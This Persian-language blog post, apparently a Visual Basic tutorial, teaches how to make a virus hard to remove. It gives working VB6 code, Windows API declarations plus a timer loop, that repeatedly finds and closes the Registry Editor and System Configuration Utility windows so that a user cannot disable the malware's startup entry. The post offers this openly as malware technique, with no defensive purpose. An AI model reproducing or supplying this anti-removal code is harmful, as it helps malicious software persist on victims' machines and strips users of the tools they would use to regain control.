آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

مخفی کردن و غیر قابل حذف کردن ویروس:

یکی از راه های غیر فعال کردن ویروس ها،regedit و msconfig می باشد.با این دو برنامه ای که در ویندوز وجود دارد،می توان کاری کرد که ویروس،در هر بار اجرای ویندوز،اجرا نشود.در run 

عبارت regedit یا msconfig را تایپ کنید تا این برنامه اجرا شوند.

 

برای غیرفعال کردن این دو برنامه کارهای زیر را انجام دهید:

 

ابتدا کدهای زیر را در قسمت general کپی کنید:

 

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

 

 

حالا این کدها را در یک timer کپی کنید:

 

Dim reghwnd As Long

Dim syshwnd As Long

 Const WM_CLOSE = &H10

syshwnd = FindWindow(vbNullString, "System Configuration Utility")

reghwnd = FindWindow("RegEdit_RegEdit", vbNullString)

 

If syshwnd <> 0 Then SendMessage syshwnd, WM_CLOSE, 0&, 0&

 

If reghwnd <> 0 Then SendMessage reghwnd, WM_CLOSE, 0&, 0&

نظرات 0 + ارسال نظر
برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد